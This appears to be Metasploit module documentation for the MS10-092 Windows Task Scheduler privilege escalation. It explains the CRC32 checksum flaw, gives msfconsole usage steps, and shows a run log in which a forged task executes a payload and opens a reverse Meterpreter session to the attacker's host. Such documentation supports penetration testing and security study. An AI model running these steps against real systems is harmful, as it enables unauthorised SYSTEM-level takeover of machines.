52 lines
2.3 KiB
Markdown
52 lines
2.3 KiB
Markdown
|
|
## Vulnerable Application
|
||
|
|
|
||
|
|
This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet. When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with. Also, In a default configuration, normal users can read and write the task files that they have created. By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges.
|
||
|
|
|
||
|
|
## Scenarios
|
||
|
|
|
||
|
|
## Verification Steps
|
||
|
|
|
||
|
|
1. Start msfconsole
|
||
|
|
2. Do: `use modules/exploits/windows/local/ms10_092_schelevator`
|
||
|
|
3. Do: `set SESSION [#]`
|
||
|
|
4. Do: `run`
|
||
|
|
|
||
|
|
### A run on Windows Vista (Build 6000) and Kali Linux 2019.3
|
||
|
|
|
||
|
|
```
|
||
|
|
msf > use modules/exploits/windows/local/ms10_092_schelevator
|
||
|
|
msf exploit(windows/local/ms10_092_schelevator) > set SESSION 1
|
||
|
|
SESSION => 1
|
||
|
|
msf5 exploit(windows/local/ms10_092_schelevator) > run
|
||
|
|
[*] Started reverse TCP handler on 192.168.1.3:4444
|
||
|
|
[*] Preparing payload at C:\Users\test\AppData\Local\Temp\CItOOtB.exe
|
||
|
|
[*] Creating task: TzAZ6H4K
|
||
|
|
[*] SUCCESS: The scheduled task "TzAZ6H4K" has successfully been created.
|
||
|
|
[*] SCHELEVATOR
|
||
|
|
[*] Reading the task file contents from C:\Windows\system32\tasks\TzAZ6H4K...
|
||
|
|
[*] Original CRC32: 0x69b1db25
|
||
|
|
[*] Final CRC32: 0x69b1db25
|
||
|
|
[*] Writing our modified content back...
|
||
|
|
[*] Validating task: TzAZ6H4K
|
||
|
|
[*]
|
||
|
|
[*] Folder: \
|
||
|
|
[*] TaskName Next Run Time Status
|
||
|
|
[*] ========================================== ==================== ===============
|
||
|
|
[*] TzAZ6H4K 12/1/2019 10:41:00 A Ready
|
||
|
|
[*] SCHELEVATOR
|
||
|
|
[*] Disabling the task...
|
||
|
|
[*] SUCCESS: The parameters of scheduled task "TzAZ6H4K" have been changed.
|
||
|
|
[*] SCHELEVATOR
|
||
|
|
[*] Enabling the task...
|
||
|
|
[*] SUCCESS: The parameters of scheduled task "TzAZ6H4K" have been changed.
|
||
|
|
[*] SCHELEVATOR
|
||
|
|
[*] Executing the task...
|
||
|
|
[*] Sending stage (180291 bytes) to 192.168.1.2
|
||
|
|
[*] SUCCESS: Attempted to run the scheduled task "TzAZ6H4K".
|
||
|
|
[*] SCHELEVATOR
|
||
|
|
[*] Deleting the task...
|
||
|
|
[*] Meterpreter session 2 opened (192.168.1.3:4444 -> 192.168.1.2:49249) at 2019-11-27 10:42:02 -0700
|
||
|
|
[*] SUCCESS: The scheduled task "TzAZ6H4K" was successfully deleted.
|
||
|
|
[*] SCHELEVATOR
|
||
|
|
```
|